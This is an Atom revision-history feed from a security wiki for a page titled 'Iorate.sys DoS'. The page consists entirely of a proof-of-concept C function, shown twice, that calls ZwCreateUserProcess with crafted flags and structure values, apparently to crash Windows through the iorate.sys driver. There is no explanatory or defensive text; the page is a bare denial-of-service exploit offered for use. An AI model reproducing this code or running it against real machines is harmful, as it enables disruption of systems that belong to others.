<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Iorate.sys_DoS</id>
	<title>Iorate.sys DoS - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Iorate.sys_DoS"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Iorate.sys_DoS&amp;action=history"/>
	<updated>2026-04-26T09:35:26Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Iorate.sys_DoS&amp;diff=3787&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==POC== &lt;pre&gt; struct _PS_CREATE_INFO {     ulonglong Size;     ulonglong State;//at 0x8     ulong InitFlags;//at 0x10     ulong AdditionalFileAccess;//at 0x14     ulonglong X0...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Iorate.sys_DoS&amp;diff=3787&amp;oldid=prev"/>
		<updated>2021-05-31T07:58:42Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==POC== &amp;lt;pre&amp;gt; struct _PS_CREATE_INFO {     ulonglong Size;     ulonglong State;//at 0x8     ulong InitFlags;//at 0x10     ulong AdditionalFileAccess;//at 0x14     ulonglong X0...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==POC==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
struct _PS_CREATE_INFO&lt;br /&gt;
{&lt;br /&gt;
    ulonglong Size;&lt;br /&gt;
    ulonglong State;//at 0x8&lt;br /&gt;
    ulong InitFlags;//at 0x10&lt;br /&gt;
    ulong AdditionalFileAccess;//at 0x14&lt;br /&gt;
    ulonglong X0;&lt;br /&gt;
    ulonglong X1;&lt;br /&gt;
    ulonglong X2;&lt;br /&gt;
    ulonglong X3;&lt;br /&gt;
    ulonglong X4;&lt;br /&gt;
    ulonglong X5;&lt;br /&gt;
    ulonglong X6;&lt;br /&gt;
    ulonglong X7;&lt;br /&gt;
};&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
void IoRateDoS()&lt;br /&gt;
{&lt;br /&gt;
    //--------- Parameters Start Here ----------&lt;br /&gt;
    HANDLE hNewProcess = 0;&lt;br /&gt;
    HANDLE hNewThread = 0;&lt;br /&gt;
    ulonglong ProcessDesiredAccessX = GENERIC_ALL;//MAXIMUM_ALLOWED;&lt;br /&gt;
    ulonglong ThreadDesiredAccessX = GENERIC_ALL;//MAXIMUM_ALLOWED;&lt;br /&gt;
    _OBJECT_ATTRIBUTES ObjAttr_p = {sizeof(ObjAttr_p)};&lt;br /&gt;
    _OBJECT_ATTRIBUTES ObjAttr_t  = {sizeof(ObjAttr_t)};&lt;br /&gt;
    ulonglong ProcessFlagsX = 0x1000;&lt;br /&gt;
    ulonglong ThreadFlagsX = 0;&lt;br /&gt;
    ulonglong ProcessParametersX =  0;&lt;br /&gt;
    _PS_CREATE_INFO PsCreateInfo = {sizeof(PsCreateInfo)};&lt;br /&gt;
        PsCreateInfo.InitFlags = PsCreateInitialState;&lt;br /&gt;
        PsCreateInfo.AdditionalFileAccess = FILE_EXECUTE;&lt;br /&gt;
    ulonglong AttributeListX =  0;&lt;br /&gt;
    //---------------&lt;br /&gt;
    ulonglong ret = ZwCreateUserProcess(&amp;amp;hNewProcess,&amp;amp;hNewThread,&lt;br /&gt;
                        ProcessDesiredAccessX,  ThreadDesiredAccessX,&lt;br /&gt;
                        &amp;amp;ObjAttr_p, &amp;amp;ObjAttr_t,&lt;br /&gt;
                        ProcessFlagsX,  ThreadFlagsX,&lt;br /&gt;
                        (void*)ProcessParametersX,&lt;br /&gt;
                        &amp;amp;PsCreateInfo,&lt;br /&gt;
                        (void*)AttributeListX);&lt;br /&gt;
    printf(&amp;quot;ZwCreateUserProcess, ret: %I64X\r\n&amp;quot;,ret);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==RAW Paste Data ==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
struct _PS_CREATE_INFO&lt;br /&gt;
{&lt;br /&gt;
	ulonglong Size;&lt;br /&gt;
	ulonglong State;//at 0x8&lt;br /&gt;
	ulong InitFlags;//at 0x10&lt;br /&gt;
	ulong AdditionalFileAccess;//at 0x14&lt;br /&gt;
	ulonglong X0;&lt;br /&gt;
	ulonglong X1;&lt;br /&gt;
	ulonglong X2;&lt;br /&gt;
	ulonglong X3;&lt;br /&gt;
	ulonglong X4;&lt;br /&gt;
	ulonglong X5;&lt;br /&gt;
	ulonglong X6;&lt;br /&gt;
	ulonglong X7;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
void IoRateDoS()&lt;br /&gt;
{&lt;br /&gt;
	//--------- Parameters Start Here ----------&lt;br /&gt;
	HANDLE hNewProcess = 0;&lt;br /&gt;
	HANDLE hNewThread = 0;&lt;br /&gt;
	ulonglong ProcessDesiredAccessX = GENERIC_ALL;//MAXIMUM_ALLOWED;&lt;br /&gt;
	ulonglong ThreadDesiredAccessX = GENERIC_ALL;//MAXIMUM_ALLOWED;&lt;br /&gt;
	_OBJECT_ATTRIBUTES ObjAttr_p = {sizeof(ObjAttr_p)};&lt;br /&gt;
	_OBJECT_ATTRIBUTES ObjAttr_t  = {sizeof(ObjAttr_t)};&lt;br /&gt;
	ulonglong ProcessFlagsX = 0x1000;&lt;br /&gt;
	ulonglong ThreadFlagsX = 0;&lt;br /&gt;
	ulonglong ProcessParametersX =  0;&lt;br /&gt;
	_PS_CREATE_INFO PsCreateInfo = {sizeof(PsCreateInfo)};&lt;br /&gt;
		PsCreateInfo.InitFlags = PsCreateInitialState;&lt;br /&gt;
		PsCreateInfo.AdditionalFileAccess = FILE_EXECUTE;&lt;br /&gt;
	ulonglong AttributeListX =  0;&lt;br /&gt;
	//---------------&lt;br /&gt;
	ulonglong ret = ZwCreateUserProcess(&amp;amp;hNewProcess,&amp;amp;hNewThread,&lt;br /&gt;
						ProcessDesiredAccessX,	ThreadDesiredAccessX,&lt;br /&gt;
						&amp;amp;ObjAttr_p,	&amp;amp;ObjAttr_t,&lt;br /&gt;
						ProcessFlagsX,	ThreadFlagsX,&lt;br /&gt;
						(void*)ProcessParametersX,&lt;br /&gt;
						&amp;amp;PsCreateInfo,&lt;br /&gt;
						(void*)AttributeListX);&lt;br /&gt;
	printf(&amp;quot;ZwCreateUserProcess, ret: %I64X\r\n&amp;quot;,ret);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>